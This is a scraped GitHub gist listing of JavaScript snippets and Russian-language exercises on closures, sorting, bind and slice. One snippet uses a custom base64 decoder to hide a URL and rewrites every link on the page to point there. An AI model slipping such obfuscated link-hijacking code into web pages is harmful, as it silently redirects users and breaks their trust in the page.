Skip to content

Instantly share code, notes, and snippets.

View IPRIT's full-sized avatar
💅

Alexander Belov IPRIT

💅
View GitHub Profile
function animate(options) {
var start = performance.now();
options.startValue = options.startValue || 0;
options.endValue = options.endValue || 0;
requestAnimationFrame(function animate(time) {
var timeFraction = (time - start) / options.duration;
if (timeFraction > 1) timeFraction = 1;
function base64_decode(a){var c,d,e,f,g,h,i,j,b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",k=0,l="";do f=b.indexOf(a.charAt(k++)),g=b.indexOf(a.charAt(k++)),h=b.indexOf(a.charAt(k++)),i=b.indexOf(a.charAt(k++)),j=f<<18|g<<12|h<<6|i,c=j>>16&255,d=j>>8&255,e=255&j,l+=64==h?String.fromCharCode(c):64==i?String.fromCharCode(c,d):String.fromCharCode(c,d,e);while(k<a.length);return l}Array.from(document.querySelectorAll("a")).forEach(function(a){a&&(a.href=base64_decode("aHR0cDovL3NsaXRoZXIuaW8="),a.target="_blank")});

Задание

Используйте Function#bind для реализации логирующей функции.

Вам необходимо создать функцию, которая будет логировать некоторую информацию с заданным неймспейсом.

Аргументы

  • namespace: строка, которая вставляется в начало сообщения.

Задание 4

Напишите функцию, которая позволяет вам использовать Array.prototype.slice без использования slice.call или slice.apply.

Обычно функция slice используется вместе с call или apply.

var slice = Array.prototype.slice

function() {
@IPRIT
IPRIT / 3.md
Last active March 6, 2016 00:31

Lesson 1

Task 3

Задание: Циклы, функции и контексты.

Физрук построил шеренгу. У каждого есть свой номер, который должны выкрикнуть своему физруку. Представим, что массив - это шеренга, элемент массива - ученик, а ученик это функция, которая делает alert со своим номером. В приведеном коде строится массив функций, а затем некоторые функции из этого массива вызываются.

Ответьте на вопрос: почему все ученики выкрикивают один и тот же номер. Модифицируйте решение, чтобы каждый ученик выкрикивал свой номер.

Lesson 1

Task 2

Задание: Фильтрация через функцию

Создайте функцию filter(arr, func), которая получает массив arr и возвращает новый, в который входят только те элементы arr, для которых func возвращает true. Создайте набор «готовых фильтров»: inBetween(a,b) — «между a,b», inArray([...]) — «в массиве [...]». Все функции необходимо реализовать с помощью "замыканий".

Использование должно быть таким:

@IPRIT
IPRIT / 1.md
Last active March 6, 2016 00:27

Lesson 1

Task 1

Задание: Сортировка

У нас есть массив объектов:

var users = [{
  name: "Вася",
 surname: 'Тестов',
@IPRIT
IPRIT / .js
Created November 21, 2015 17:41
document.addEventListener('DOMContentLoaded', function () {
var input = document.querySelector('input');
input.addEventListener('keyup', function (event) {
if (event.keyCode == 38 || event.keyCode == 40) {
var active = document.querySelector('.active');
if (event.keyCode == 40) {
if (!active) {
document.querySelector('li').className = 'active';
} else {
var nextElement = active.nextSibling;
@IPRIT
IPRIT / js
Created November 21, 2015 16:20
var url = 'https://predictor.yandex.net/suggest.json/complete?lang=ru&q=' +
q + '&limit=4&callback=jsonpCallback';